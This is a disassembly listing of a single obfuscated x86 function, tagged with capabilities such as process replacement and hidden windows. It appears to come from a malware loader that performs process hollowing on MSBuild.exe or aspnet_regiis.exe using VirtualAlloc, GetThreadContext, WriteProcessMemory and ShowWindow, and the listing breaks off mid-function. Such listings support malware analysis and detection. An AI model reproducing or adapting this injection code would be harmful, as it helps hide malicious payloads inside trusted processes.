Function at 0x100020f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xfc
mov eax, dword [0x10066a00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x104], 0xf4978333
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x108], eax
sub eax, 0x81f7e106
je 0x10002ff8
jmp 0x1000212c
mov eax, dword [ebp - 0x108]
sub eax, 0x82c31d14
je 0x10003061
jmp 0x10002142
mov eax, dword [ebp - 0x108]
sub eax, 0x82cd3cff
je 0x1000409a
jmp 0x10002158
mov eax, dword [ebp - 0x108]
sub eax, 0x83ce141c
je 0x10003f1b
jmp 0x1000216e
mov eax, dword [ebp - 0x108]
sub eax, 0x86a03064
je 0x100032c8
jmp 0x10002184
mov eax, dword [ebp - 0x108]
sub eax, 0x87f804bd
je 0x10002eaa
jmp 0x1000219a
mov eax, dword [ebp - 0x108]
sub eax, 0x8cb0c714
je 0x1000312e
jmp 0x100021b0
mov eax, dword [ebp - 0x108]
sub eax, 0x8d64350f
je 0x10002b89
jmp 0x100021c6
mov eax, dword [ebp - 0x108]
sub eax, 0x902d15fe
je 0x10004900
jmp 0x100021dc
mov eax, dword [ebp - 0x108]
sub eax, 0x9260c6a5
je 0x10002ed0
jmp 0x100021f2
mov eax, dword [ebp - 0x108]
sub eax, 0x95056eaf
je 0x10004216
jmp 0x10002208
mov eax, dword [ebp - 0x108]
sub eax, 0x9e545929
je 0x10003e19
jmp 0x1000221e
mov eax, dword [ebp - 0x108]
sub eax, 0xa2db6679
je 0x100043a0
jmp 0x10002234
mov eax, dword [ebp - 0x108]
sub eax, 0xa3413050
je 0x100041d4
jmp 0x1000224a
mov eax, dword [ebp - 0x108]
sub eax, 0xa55a1a4f
je 0x10004968
jmp 0x10002260
mov eax, dword [ebp - 0x108]
sub eax, 0xa56f0660
je 0x100036a0
jmp 0x10002276
mov eax, dword [ebp - 0x108]
sub eax, 0xa823ae2e
je 0x10004927
jmp 0x1000228c
mov eax, dword [ebp - 0x108]
sub eax, 0xa8dff3d6
je 0x10002e0d
jmp 0x100022a2
mov eax, dword [ebp - 0x108]
sub eax, 0xaa85a78f
je 0x1000398e
jmp 0x100022b8
mov eax, dword [ebp - 0x108]
sub eax, 0xab9f345d
je 0x10003ab5
jmp 0x100022ce
mov eax, dword [ebp - 0x108]
sub eax, 0xaf8e9d5d
je 0x10003725
jmp 0x100022e4
mov eax, dword [ebp - 0x108]
sub eax, 0xb13434c0
je 0x10003319
jmp 0x100022fa
mov eax, dword [ebp - 0x108]
sub eax, 0xb73a24c4
je 0x1000478d
jmp 0x10002310
mov eax, dword [ebp - 0x108]
sub eax, 0xb8028849
je 0x100044f1
jmp 0x10002326
mov eax, dword [ebp - 0x108]
sub eax, 0xbf802e5e
je 0x10003d17
jmp 0x1000233c
mov eax, dword [ebp - 0x108]
sub eax, 0xbf913edc
je 0x100034e4
jmp 0x10002352
mov eax, dword [ebp - 0x108]
sub eax, 0xc015b0d3
je 0x10003d31
jmp 0x10002368
mov eax, dword [ebp - 0x108]
sub eax, 0xc0e98779
je 0x10002c45
jmp 0x1000237e
mov eax, dword [ebp - 0x108]
sub eax, 0xc3fd2879
je 0x10002e76
jmp 0x10002394
mov eax, dword [ebp - 0x108]
sub eax, 0xc487103f
je 0x10003892
jmp 0x100023aa
mov eax, dword [ebp - 0x108]
sub eax, 0xc576f492
je 0x10003af1
jmp 0x100023c0
mov eax, dword [ebp - 0x108]
sub eax, 0xc6e823cb
je 0x10004190
jmp 0x100023d6
mov eax, dword [ebp - 0x108]
sub eax, 0xc7c21d61
je 0x100043e9
jmp 0x100023ec
mov eax, dword [ebp - 0x108]
sub eax, 0xc7eae8b7
je 0x100049f6
jmp 0x10002402
mov eax, dword [ebp - 0x108]
sub eax, 0xc831c72d
je 0x10003f2a
jmp 0x10002418
mov eax, dword [ebp - 0x108]
sub eax, 0xca30a7e8
je 0x10004653
jmp 0x1000242e
mov eax, dword [ebp - 0x108]
sub eax, 0xcbda889d
je 0x10004897
jmp 0x10002444
mov eax, dword [ebp - 0x108]
sub eax, 0xcce695f9
je 0x10003040
jmp 0x1000245a
mov eax, dword [ebp - 0x108]
sub eax, 0xce23bec8
je 0x10004873
jmp 0x10002470
mov eax, dword [ebp - 0x108]
sub eax, 0xcfb3320d
je 0x10003560
jmp 0x10002486
mov eax, dword [ebp - 0x108]
sub eax, 0xcffc4b6c
je 0x10004286
jmp 0x1000249c
mov eax, dword [ebp - 0x108]
sub eax, 0xd031bc13
je 0x10004638
jmp 0x100024b2
mov eax, dword [ebp - 0x108]
sub eax, 0xd19ea998
je 0x10002da3
jmp 0x100024c8
mov eax, dword [ebp - 0x108]
sub eax, 0xd1e3f31e
je 0x1000475d
jmp 0x100024de
mov eax, dword [ebp - 0x108]
sub eax, 0xd240497a
je 0x10003970
jmp 0x100024f4
mov eax, dword [ebp - 0x108]
sub eax, 0xd3242c77
je 0x10003fb6
jmp 0x1000250a
mov eax, dword [ebp - 0x108]
sub eax, 0xd505c037
je 0x10004696
jmp 0x10002520
mov eax, dword [ebp - 0x108]
sub eax, 0xd5a94fdf
je 0x100031cb
jmp 0x10002536
mov eax, dword [ebp - 0x108]
sub eax, 0xdaecaa62
je 0x10003f48
jmp 0x1000254c
mov eax, dword [ebp - 0x108]
sub eax, 0xdb0e8b6c
je 0x100047e6
jmp 0x10002562
mov eax, dword [ebp - 0x108]
sub eax, 0xdd99b514
je 0x100030aa
jmp 0x10002578
mov eax, dword [ebp - 0x108]
sub eax, 0xe0a5fa6b
je 0x10004687
jmp 0x1000258e
mov eax, dword [ebp - 0x108]
sub eax, 0xe24d2779
je 0x100038e3
jmp 0x100025a4
mov eax, dword [ebp - 0x108]
sub eax, 0xe28298b6
je 0x10003d08
jmp 0x100025ba
mov eax, dword [ebp - 0x108]
sub eax, 0xe29f3dc9
je 0x10003c10
jmp 0x100025d0
mov eax, dword [ebp - 0x108]
sub eax, 0xe2d9fb8d
je 0x1000412a
jmp 0x100025e6
mov eax, dword [ebp - 0x108]
sub eax, 0xe522cf11
je 0x100043c1
jmp 0x100025fc
mov eax, dword [ebp - 0x108]
sub eax, 0xe910ad06
je 0x1000356f
jmp 0x10002612
mov eax, dword [ebp - 0x108]
sub eax, 0xeaefe67a
je 0x10003a4c
jmp 0x10002628
mov eax, dword [ebp - 0x108]
sub eax, 0xee7de3c0
je 0x100036af
jmp 0x1000263e
mov eax, dword [ebp - 0x108]
sub eax, 0xefabdbb2
je 0x10003e37
jmp 0x10002654
mov eax, dword [ebp - 0x108]
sub eax, 0xf4978333
je 0x10002b13
jmp 0x1000266a
mov eax, dword [ebp - 0x108]
sub eax, 0xf4fa3b71
je 0x100048eb
jmp 0x10002680
mov eax, dword [ebp - 0x108]
sub eax, 0xf514d44f
je 0x100047f5
jmp 0x10002696
mov eax, dword [ebp - 0x108]
sub eax, 0xf573b284
je 0x10004856
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
add edx, 0x2d962655
sub edx, 1
sub edx, 0x2d962655
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5c73a344
mov ecx, 0x8d64350f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xf4], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
add edx, 0x4e7fdfe1
sub edx, 1
sub edx, 0x4e7fdfe1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c73a344
mov ecx, 0xc0e98779
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dword [ebp - 0x104], 0x5ca00a02
jmp 0x10004a00
mov dl, byte [ebp - 0xa5]
mov eax, 0x31fb09f0
mov ecx, 0x125c99d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
add edx, 0x9d397e0f
sub edx, 1
sub edx, 0x9d397e0f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb0e8b6c
mov ecx, 0x30221384
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xa4]
sub ecx, 0x4d70a9f1
add ecx, eax
add ecx, 0x4d70a9f1
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x87f804bd
jmp 0x10004a00
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, 0xd505c037
mov ecx, 0x9260c6a5
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
add edx, 0x9e6b79d2
sub edx, 1
sub edx, 0x9e6b79d2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf514d44f
mov ecx, 0x1576e12c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0xa0]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xec]
mov byte [eax], cl
mov eax, dword [ebp - 0xe8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x9a], al
mov dword [ebp - 0x104], 0xcce695f9
jmp 0x10004a00
mov dl, byte [ebp - 0x9a]
mov eax, 0x82c31d14
mov ecx, 0xfd27b60f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf573b284
mov ecx, 0xdd99b514
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0xe8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
sub edx, 0xba16db8
sub edx, 1
add edx, 0xba16db8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf573b284
mov ecx, 0x8cb0c714
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dword [ebp - 0x104], 0x3e651ca2
jmp 0x10004a00
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce23bec8
mov ecx, 0x75004382
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x104], 0xb13434c0
jmp 0x10004a00
mov eax, dword [ebp - 0x98]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xd031bc13
mov ecx, 0x5ce37ba9
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x32392ca9
mov ecx, 0xcfb3320d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dword [ebp - 0x104], 0xe910ad06
jmp 0x10004a00
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
add edx, 0x98fcf99c
sub edx, 1
sub edx, 0x98fcf99c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcbda889d
mov ecx, 0x70adbc97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dword [ebp - 0x104], 0xee7de3c0
jmp 0x10004a00
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
add edx, 0x33a8d24e
sub edx, 1
sub edx, 0x33a8d24e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf4fa3b71
mov ecx, 0xaf8e9d5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4fa3b71
mov ecx, 0x21dce9e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
add edx, 0x6c1fd27d
sub edx, 1
sub edx, 0x6c1fd27d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x902d15fe
mov ecx, 0xe24d2779
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0x80]
movzx ecx, word [eax + 2]
mov eax, dword [ebp - 0x84]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x79], al
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
sub edx, 0xedccf6c9
sub edx, 1
add edx, 0xedccf6c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x902d15fe
mov ecx, 0xd240497a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dl, byte [ebp - 0x79]
mov eax, 0xbf802e5e
mov ecx, 0xaa85a78f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xd4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc4]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd4]
mov esi, dword [esi]
mov edi, dword [ebp - 0xc4]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0xf4]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x104], 0xeaefe67a
jmp 0x10004a00
mov edx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x74]
mov eax, 0x3a383e53
mov ecx, 0x1285b435
cmp edx, esi
cmovae eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0x6c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x70]
mov eax, 0x3a383e53
mov ecx, 0xc576f492
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc4]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x104], 0x712e24c6
jmp 0x10004a00
mov dword [ebp - 0x104], 0x4f47a66a
jmp 0x10004a00
mov dword [ebp - 0x104], 0x63c51066
jmp 0x10004a00
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x104], 0xc015b0d3
jmp 0x10004a00
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x176922a1
mov ecx, 0x6b83b4de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dl, byte [ebp - 0x49]
mov eax, 0x3b7dfb2d
mov ecx, 0xefabdbb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dword [ebp - 0x104], 0x1b6fbff
jmp 0x10004a00
mov dword [ebp - 0x104], 0xc831c72d
jmp 0x10004a00
mov edx, dword [ebp - 0x48]
mov eax, 0x38bf51ee
mov ecx, 0xdaecaa62
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa55a1a4f
mov ecx, 0xd3242c77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
sub eax, 0x4c7cc7c0
add eax, 8
add eax, 0x4c7cc7c0
mov dword [ebp - 0x44], eax
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
sub edx, 0x645c02d7
sub edx, 1
add edx, 0x645c02d7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa55a1a4f
mov ecx, 0x23ef50e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x104], 0x1534f760
jmp 0x10004a00
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x39], al
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
sub edx, 0xf99f7633
sub edx, 1
add edx, 0xf99f7633
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x705e04b0
mov ecx, 0xc6e823cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dl, byte [ebp - 0x39]
mov eax, 0xe522cf11
mov ecx, 0x27a09079
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov edx, dword [ebp - 0x38]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x66c306b1
or edx, ecx
or eax, 0x66c306b1
xor edx, 0xffffffff
and edx, eax
mov eax, 0x62b32fba
mov ecx, 0x95056eaf
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
add eax, 0x20ec267e
add eax, ecx
sub eax, 0x20ec267e
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
mov edx, dword [edx]
movzx edx, word [ecx + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x3471a890
or edx, esi
or ecx, 0x3471a890
xor edx, 0xffffffff
and edx, ecx
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x104], 0xcffc4b6c
jmp 0x10004a00
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xac]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x710378ad
mov ecx, 0x17a59ad3
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x82cd3cff
jmp 0x10004a00
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x104], 0xc7c21d61
jmp 0x10004a00
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
add edx, 0x7ce10e7a
sub edx, 1
sub edx, 0x7ce10e7a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2a2f8a13
mov ecx, 0x35b21815
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dword [ebp - 0x104], 0x1b6fbff
jmp 0x10004a00
mov eax, dword [ebp - 0xf4]
add eax, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x104], 0xca30a7e8
jmp 0x10004a00
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x104], 0xe0a5fa6b
jmp 0x10004a00
mov dword [ebp - 0x104], 0xd505c037
jmp 0x10004a00
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
add edx, 0x26671066
sub edx, 1
sub edx, 0x26671066
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7eae8b7
mov ecx, 0x7a14c857
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10004a00
mov dword [ebp - 0x104], 0x31fb09f0
jmp 0x10004a00
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
